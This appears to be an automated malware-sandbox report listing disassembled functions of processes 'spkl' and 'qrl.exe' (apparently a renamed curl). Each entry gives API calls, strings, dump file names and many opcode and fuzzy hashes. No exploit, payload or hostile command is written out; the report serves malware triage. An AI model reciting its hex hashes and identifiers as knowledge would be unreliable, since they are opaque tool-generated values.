Opcode Fuzzy Hash: 0688070ba98fd4021ae3cb0cf474e881ba50b6fcf538eb4846ac1127a3f8b2d4
Instruction Fuzzy Hash: 1801A739A04708EFE701E765CC92F5E739CDB86634F900660FD14DE6C1E7759E0086A4

Function 033589A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,03358A7E), ref: 03358A26
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,03358A7E), ref: 03358A2C

Strings

yyyy, xrefs: 03358A01

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 240cb72d7b0c553673b526bfb7afdf349213a950b43430f892af055ed8612839
Instruction ID: ea5394941d9805241b451fdcea6ebea4e4a6f59f6d4f6f06d3a79c049f528eba
Opcode Fuzzy Hash: 240cb72d7b0c553673b526bfb7afdf349213a950b43430f892af055ed8612839
Instruction Fuzzy Hash: D5213C7DA04248AFDB05EBA8C8D1EAEB3B8EF08750F5044A5FD05DB751E6309E04CB65

Function 03380A84 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000000,?,03380615), ref: 03380ADB

Strings

CSDVersion, xrefs: 03380AEC
\SYSTEM\CurrentControlSet\Control\Windows\, xrefs: 03380AF1

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3370000_spkl.jbxd

Similarity

API ID: Version
String ID: CSDVersion$\SYSTEM\CurrentControlSet\Control\Windows\
API String ID: 1889659487-4130263263
Opcode ID: 4337a05f91749fb894ebb6f9eece82f223e348e885748bc2966ac1cb2592058c
Instruction ID: cdf0295a32fbccc3656ea2273e758132356d39807ee431baf86333656e2c23fc
Opcode Fuzzy Hash: 4337a05f91749fb894ebb6f9eece82f223e348e885748bc2966ac1cb2592058c
Instruction Fuzzy Hash: 5311E578F14348AFEB19EB78DCD1B5AB7A9EB45304F8040B5E40896282D7749D48CB14

Function 03352B68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?), ref: 03352BD3

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 03352B80
FPUMaskValue, xrefs: 03352BB4

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: Close
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3535843008-4173385793
Opcode ID: 2b669ee52a0700bd919edf1557d49e39e9a7e7ba5bcacdb25e1eced476dcc34c
Instruction ID: 703856a7f4b7224e11f6a56d317292ac4476dd9568784d8e3ab86c04189013d5
Opcode Fuzzy Hash: 2b669ee52a0700bd919edf1557d49e39e9a7e7ba5bcacdb25e1eced476dcc34c
Instruction Fuzzy Hash: 33015E79944708BADB11EB909CC2FAE77ACEB05B10F1109A2FD10E6681E6755A10C658

Analysis Process: qrl.exePID: 4284, Parent PID: 4280COMMON

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.8%
Total number of Nodes:	893
Total number of Limit Nodes:	75

Executed Functions

Function 00DD52B0 Relevance: 68.9, APIs: 22, Strings: 17, Instructions: 616
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DD5C20: memcpy.MSVCRT(?,?,00000080), ref: 00DD5C88

setsockopt.WS2_32(?,00000006,00000001,00000001,00000004), ref: 00DD5377
setsockopt.WS2_32(?,0000FFFF,00000008,00000001,00000004), ref: 00DD55D2
WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00DD5646
WSAGetLastError.WS2_32 ref: 00DD5654

Strings

Could not set TCP_NODELAY: %s, xrefs: 00DD5593
getsockname() failed with errno %d: %s, xrefs: 00DD59C7
Couldn't bind to '%s', xrefs: 00DD584A
if!, xrefs: 00DD5505
Couldn't bind to interface '%s', xrefs: 00DD56D4
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 00DD5423
Local port: %hu, xrefs: 00DD595C
Immediate connect fail for %s: %s, xrefs: 00DD5A5C
Local Interface %s is ip %s using address family %i, xrefs: 00DD5711
bind failed with errno %d: %s, xrefs: 00DD5911
TCP_NODELAY set, xrefs: 00DD5385
host!, xrefs: 00DD5520
Bind to local port %hu failed, trying next, xrefs: 00DD58B5
Failed to set SO_KEEPALIVE on fd %d, xrefs: 00DD5670
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 00DD565C
Name '%s' family %i resolved to '%s' family %i, xrefs: 00DD57D5
Trying %s..., xrefs: 00DD531D

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: setsockopt$ErrorIoctlLastmemcpy
String ID: Trying %s...$Bind to local port %hu failed, trying next$Could not set TCP_NODELAY: %s$Couldn't bind to '%s'$Couldn't bind to interface '%s'$Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d$Immediate connect fail for %s: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$TCP_NODELAY set$bind failed with errno %d: %s$getsockname() failed with errno %d: %s$host!$if!$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 1062783977-1182436171
Opcode ID: 4a7b84ae515033a1afb61b64fd7dc8a849bd18510e6a476b63ca7031bdee4aaf
Instruction ID: 9e7b8d60a25b167769fea8518f4c3ab103621c3706256ab9aed9aa73a5834055
Opcode Fuzzy Hash: 4a7b84ae515033a1afb61b64fd7dc8a849bd18510e6a476b63ca7031bdee4aaf
Instruction Fuzzy Hash: 4C22B0B1A04701AFD7209B24EC45B6BB7E9EF84304F18492EF98997355E772E904CB72

Function 00DD48F0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 515
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to connect to %s port %ld: %s, xrefs: 00DD4FBA
connect to %s port %ld failed: %s, xrefs: 00DD4CCB
After %ldms connect time, move on!, xrefs: 00DD4A62
Connection time-out, xrefs: 00DD49BE
Connection failed, xrefs: 00DD4B5A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: After %ldms connect time, move on!$Connection failed$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 0-885759404
Opcode ID: c77cde28df6a7bd83effe74a9165d0f0cb1206a588e30cd6a3f87968d5699ed7
Instruction ID: 428021d6798b973cc82c088777814c7731d8e8fb5b5732caa41a2b6ab6e11308
Opcode Fuzzy Hash: c77cde28df6a7bd83effe74a9165d0f0cb1206a588e30cd6a3f87968d5699ed7
Instruction Fuzzy Hash: 6902F071A043049FDB219F28D840BAAB7E5FF84314F19062EE9A8973A1D731EC45CB62

Function 00DC119B Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 140
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00DC1223
__p__acmdln.MSVCRT ref: 00DC124C
malloc.MSVCRT ref: 00DC12E2
strlen.MSVCRT ref: 00DC131B
malloc.MSVCRT ref: 00DC1326
memcpy.MSVCRT ref: 00DC133C
_cexit.MSVCRT ref: 00DC13A8
_amsg_exit.MSVCRT ref: 00DC13EA
_initterm.MSVCRT ref: 00DC140C

Strings

4i(, xrefs: 00DC1217
!c(, xrefs: 00DC135A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_cexit_inittermmemcpystrlen
String ID: !c($4i(
API String ID: 738594520-4171087233
Opcode ID: 3dd9386f67a8deefc5d40592a15d1968ab2111e0fe414557ded091806bc21217
Instruction ID: 011a14cbe9fd3c8a18c2da0219cdf5a4d2708b53d9181aba8e4c5f5e692c6f3c
Opcode Fuzzy Hash: 3dd9386f67a8deefc5d40592a15d1968ab2111e0fe414557ded091806bc21217
Instruction Fuzzy Hash: 145158B8A043528FCB28EFA8E684B99F7E0FB55304F15843DD99487305D774D885CBA1

Function 00DDB510 Relevance: 15.3, APIs: 10, Instructions: 287
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?), ref: 00DDB553
WSASetLastError.WS2_32(00002726), ref: 00DDB618
select.WS2_32(?,00000000,00000000,?,?), ref: 00DDB761
WSAGetLastError.WS2_32 ref: 00DDB76C

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ErrorLast$Sleepselect
String ID:
API String ID: 2806104629-0
Opcode ID: 4dc7a6112f39ec0ccaea4756c06a52d76234996eab639534102bbb6af375f155
Instruction ID: bb2d2aecc3a0eb80d04db37cda98804fad9dd2010cfcae98a6632330fb203b61
Opcode Fuzzy Hash: 4dc7a6112f39ec0ccaea4756c06a52d76234996eab639534102bbb6af375f155
Instruction Fuzzy Hash: 2691C671604345DBD335DE2888847ABB2D9AFC4728F194E2FE5A9C7390EB70DD4487A2

Function 00DDB890 Relevance: 12.4, APIs: 8, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?), ref: 00DDB8DD

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e183377b9302b3473113eb3c49a9187771b149213eb06bf4e30eaae8341dfab3
Instruction ID: 09ef6fea6f4afb480fab4c768c89f2509e58ec8a232dcfab126e8ead3a72394e
Opcode Fuzzy Hash: e183377b9302b3473113eb3c49a9187771b149213eb06bf4e30eaae8341dfab3
Instruction Fuzzy Hash: 8AC19D70608345CBC724DF29C9807ABB7E5AF84728F1A8A2FE49987350E770DD44CB62

Function 00DC2850 Relevance: 87.9, APIs: 70, Instructions: 359
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00DC287C
free.MSVCRT ref: 00DC288E
free.MSVCRT ref: 00DC28A0
free.MSVCRT ref: 00DC28B2
free.MSVCRT ref: 00DC28C4
free.MSVCRT ref: 00DC28D6
free.MSVCRT ref: 00DC28E8
free.MSVCRT ref: 00DC28FA
free.MSVCRT ref: 00DC290F
free.MSVCRT ref: 00DC2927
free.MSVCRT ref: 00DC293F
free.MSVCRT ref: 00DC2957
free.MSVCRT ref: 00DC296F
free.MSVCRT ref: 00DC2987
free.MSVCRT ref: 00DC299F
free.MSVCRT ref: 00DC29B7
free.MSVCRT ref: 00DC29CF
free.MSVCRT ref: 00DC29E7
free.MSVCRT ref: 00DC29FF
free.MSVCRT ref: 00DC2A17
free.MSVCRT ref: 00DC2A2F
free.MSVCRT ref: 00DC2A47
free.MSVCRT ref: 00DC2A5F
free.MSVCRT ref: 00DC2A77
free.MSVCRT ref: 00DC2A8F
free.MSVCRT ref: 00DC2AA7
free.MSVCRT ref: 00DC2ABF
free.MSVCRT ref: 00DC2AE5
free.MSVCRT ref: 00DC2AFD
free.MSVCRT ref: 00DC2B26
free.MSVCRT ref: 00DC2B38
free.MSVCRT ref: 00DC2B4A
free.MSVCRT ref: 00DC2B53
free.MSVCRT ref: 00DC2B82
free.MSVCRT ref: 00DC2B9A
free.MSVCRT ref: 00DC2BB2
free.MSVCRT ref: 00DC2BCA
free.MSVCRT ref: 00DC2BE2
free.MSVCRT ref: 00DC2BFA
free.MSVCRT ref: 00DC2C12
free.MSVCRT ref: 00DC2C2A
free.MSVCRT ref: 00DC2C42
free.MSVCRT ref: 00DC2C5A
free.MSVCRT ref: 00DC2C72
free.MSVCRT ref: 00DC2C8A
free.MSVCRT ref: 00DC2CA2
free.MSVCRT ref: 00DC2CBA
free.MSVCRT ref: 00DC2CD2
free.MSVCRT ref: 00DC2CEA
free.MSVCRT ref: 00DC2D02
free.MSVCRT ref: 00DC2D1A
free.MSVCRT ref: 00DC2D32
free.MSVCRT ref: 00DC2D4A
free.MSVCRT ref: 00DC2D62
free.MSVCRT ref: 00DC2D7A
free.MSVCRT ref: 00DC2D92
free.MSVCRT ref: 00DC2DAA
free.MSVCRT ref: 00DC2DC2
free.MSVCRT ref: 00DC2DDA
free.MSVCRT ref: 00DC2DF2
free.MSVCRT ref: 00DC2E0A
free.MSVCRT ref: 00DC2E22
free.MSVCRT ref: 00DC2E3A
free.MSVCRT ref: 00DC2E4F
free.MSVCRT ref: 00DC2EFB
free.MSVCRT ref: 00DC2F13
free.MSVCRT ref: 00DC2F2B
free.MSVCRT ref: 00DC2F43
free.MSVCRT ref: 00DC2F5B
free.MSVCRT ref: 00DC2F64

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a60dbbbe6f5fb130c621e96d48241f47b17249f92014bf455ed0e5069ee8bced
Instruction ID: dea33a408c383b2e83b58b5862e194c2a8a47947bfacadcbd4aa37559c10dee6
Opcode Fuzzy Hash: a60dbbbe6f5fb130c621e96d48241f47b17249f92014bf455ed0e5069ee8bced
Instruction Fuzzy Hash: 1EF1E5F1900B419BEB21AF60DD45BC7FAB1AF30314F144A3DD4AE15260EB76B528EB46

Function 00DCF390 Relevance: 58.2, APIs: 26, Strings: 7, Instructions: 487
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00DCF3D4
fopen.MSVCRT ref: 00DCF414
fclose.MSVCRT ref: 00DCF421
free.MSVCRT ref: 00DCF49A
strcmp.MSVCRT ref: 00DCF4AA
fopen.MSVCRT ref: 00DCF4BC
fgets.MSVCRT ref: 00DCF527
strlen.MSVCRT ref: 00DCF538
strlen.MSVCRT ref: 00DCF545
realloc.MSVCRT ref: 00DCF553
strcpy.MSVCRT(00000000,?), ref: 00DCF56B

Strings

%s%s%s, xrefs: 00DCF3FB
%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!, xrefs: 00DCF90E
%s:%d: warning: '%s' %s, xrefs: 00DCF817
-, xrefs: 00DCF663
<stdin>, xrefs: 00DCF7F3
%s%s, xrefs: 00DCF488
_curlrc, xrefs: 00DCF3DC, 00DCF3F0, 00DCF42D, 00DCF47E, 00DCF4A9, 00DCF4BB

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$fopen$fclosefgetsfreereallocstrcmpstrcpy
String ID: %s%s$%s%s%s$%s:%d: warning: '%s' %s$%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!$-$<stdin>$_curlrc
API String ID: 595318844-3017759249
Opcode ID: fd299d1f65a5f5be263c14bacb3d98060e14c6cefbf212988f20c5173a4a58e9
Instruction ID: 822670dcb52767dd8a8dc124b2bc0b0ca95a7a812a185e4e76871dfeba1531ef
Opcode Fuzzy Hash: fd299d1f65a5f5be263c14bacb3d98060e14c6cefbf212988f20c5173a4a58e9
Instruction Fuzzy Hash: F4E1E6F15483476BEB21AB649880FFB779A9F61304F1C047DE8C68B252E635DA09C772

Function 00DC63E5 Relevance: 51.1, APIs: 26, Strings: 3, Instructions: 366
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strchr.MSVCRT ref: 00DC6408
strchr.MSVCRT ref: 00DC6417
strcmp.MSVCRT ref: 00DC643D
fopen.MSVCRT ref: 00DC6453
strcmp.MSVCRT ref: 00DC68F9
fopen.MSVCRT ref: 00DC6912
_strdup.MSVCRT(010543F6), ref: 00DC6F57
fclose.MSVCRT ref: 00DC6FBD
_strdup.MSVCRT(00000001), ref: 00DC6FD9
strlen.MSVCRT ref: 00DC6FF0
free.MSVCRT ref: 00DC7053
strlen.MSVCRT ref: 00DC7075
malloc.MSVCRT ref: 00DC7086
malloc.MSVCRT ref: 00DC7126
memcpy.MSVCRT(00000000,?,?), ref: 00DC7141
memcpy.MSVCRT(00000001,?,?), ref: 00DC715F
free.MSVCRT ref: 00DC7173

Strings

b, xrefs: 00DC6EDB
Couldn't read data from file "%s", this makes an empty POST., xrefs: 00DC6927, 00DC7001
%.*s=%s, xrefs: 00DC70A8

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupfopenfreemallocmemcpystrchrstrcmpstrlen$fclose
String ID: %.*s=%s$Couldn't read data from file "%s", this makes an empty POST.$b
API String ID: 3267589696-3773282534
Opcode ID: 217fce5cdd369bff7470aa41aa3dd1393e42296866092f9081bef7ed559f1726
Instruction ID: 7ece3362e854ceee16e4e317b301da42c5489f4020ce3528b6d4192bdd7d1dca
Opcode Fuzzy Hash: 217fce5cdd369bff7470aa41aa3dd1393e42296866092f9081bef7ed559f1726
Instruction Fuzzy Hash: 06C180F1904343ABDB21AB649C81F9B7AA89FA0754F18083DF88597251FB32D954C7B2

Function 00DE1990 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 94
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32,00000002,?,00000003,?,00DDC0D5,security.dll,?,00000002,00DD3B35), ref: 00DE1999
GetProcAddress.KERNEL32(00000000,LoadLibraryExA), ref: 00DE19B5
strpbrk.MSVCRT ref: 00DE19C3
GetProcAddress.KERNEL32(00000000,AddDllDirectory), ref: 00DE19E1
LoadLibraryExA.KERNELBASE(?,00000000,00000800,?,00000002,00DD3B35), ref: 00DE19F3
LoadLibraryA.KERNEL32(?,00DDC0D5,security.dll,?,00000002,00DD3B35), ref: 00DE19FB
GetSystemDirectoryA.KERNEL32(00000000,00000000), ref: 00DE1A0A
strlen.MSVCRT ref: 00DE1A1A
GetSystemDirectoryA.KERNEL32(00000000,00000000), ref: 00DE1A3A
strlen.MSVCRT ref: 00DE1A45
strlen.MSVCRT ref: 00DE1A54
strcpy.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000002,00DD3B35), ref: 00DE1A65
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000002,00DD3B35), ref: 00DE1A7B

Strings

kernel32, xrefs: 00DE1994
LoadLibraryExA, xrefs: 00DE19AF
AddDllDirectory, xrefs: 00DE19DB

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: LibraryLoadstrlen$AddressDirectoryProcSystem$HandleModulestrcpystrpbrk
String ID: AddDllDirectory$LoadLibraryExA$kernel32
API String ID: 1231326539-3327535076
Opcode ID: 669163b18496ec9cb859b2015891deb1c3973bcd2c30936ac09d8c45fb53af3a
Instruction ID: 866d457f133bdb3b2901b84cb4a4347c8c80ef3ac4747e1d0a13ffd0690e988a
Opcode Fuzzy Hash: 669163b18496ec9cb859b2015891deb1c3973bcd2c30936ac09d8c45fb53af3a
Instruction Fuzzy Hash: BD2133F9B413417BEA20BA72AC88F3B754CAF40B01F080534FD5AD5145EA76D805C371

Function 00DD4700 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 148
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(?,?,0000002E), ref: 00DD4747
getpeername.WS2_32(?,?,00000080), ref: 00DD47CF
WSAGetLastError.WS2_32 ref: 00DD47D9
getsockname.WS2_32(?,?,00000080), ref: 00DD4814
WSAGetLastError.WS2_32 ref: 00DD481E
memcpy.MSVCRT(?,?,0000002E), ref: 00DD486E
_errno.MSVCRT ref: 00DD48A2
_errno.MSVCRT ref: 00DD48C7

Strings

getsockname() failed with errno %d: %s, xrefs: 00DD4832
ssrem inet_ntop() failed with errno %d: %s, xrefs: 00DD48B7
ssloc inet_ntop() failed with errno %d: %s, xrefs: 00DD48DC
getpeername() failed with errno %d: %s, xrefs: 00DD47ED

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
